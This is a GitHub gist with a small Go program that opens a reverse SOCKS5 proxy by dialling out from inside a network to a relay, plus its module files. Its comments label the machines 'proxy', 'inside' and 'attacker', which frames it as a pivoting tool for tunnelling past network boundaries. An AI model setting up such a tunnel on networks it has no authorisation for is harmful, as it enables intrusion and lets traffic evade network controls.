Created
December 5, 2018 21:01
-
-
Save wader/0e9fcdc008e9f6979790adccb780735f to your computer and use it in GitHub Desktop.
Reverse socks5 proxy
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| module github.com/wader/rsocks5 | |
| require ( | |
| github.com/armon/go-socks5 v0.0.0-20160902184237-e75332964ef5 | |
| golang.org/x/net v0.0.0-20181201002055-351d144fa1fc // indirect | |
| ) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| github.com/armon/go-socks5 v0.0.0-20160902184237-e75332964ef5 h1:0CwZNZbxp69SHPdPJAN/hZIm0C4OItdklCFmMRWYpio= | |
| github.com/armon/go-socks5 v0.0.0-20160902184237-e75332964ef5/go.mod h1:wHh0iHkYZB8zMSxRWpUBQtwG5a7fFgvEO+odwuTv2gs= | |
| golang.org/x/net v0.0.0-20181201002055-351d144fa1fc h1:a3CU5tJYVj92DY2LaA1kUkrsqD5/3mLDhx2NcNqyW+0= | |
| golang.org/x/net v0.0.0-20181201002055-351d144fa1fc/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // on proxy: socat -v tcp-listen:2000 tcp-listen:3000 | |
| // on inside: go run main.go 0.0.0.0:2000 | |
| // on attacker: curl --preproxy socks5://0.0.0.0:3000 http://google.com | |
| package main | |
| import ( | |
| "net" | |
| "os" | |
| "github.com/armon/go-socks5" | |
| ) | |
| func main() { | |
| conn, connErr := net.Dial("tcp", os.Args[1]) | |
| if connErr != nil { | |
| panic(connErr) | |
| } | |
| conf := &socks5.Config{} | |
| server, serverErr := socks5.New(conf) | |
| if serverErr != nil { | |
| panic(serverErr) | |
| } | |
| server.ServeConn(conn) | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment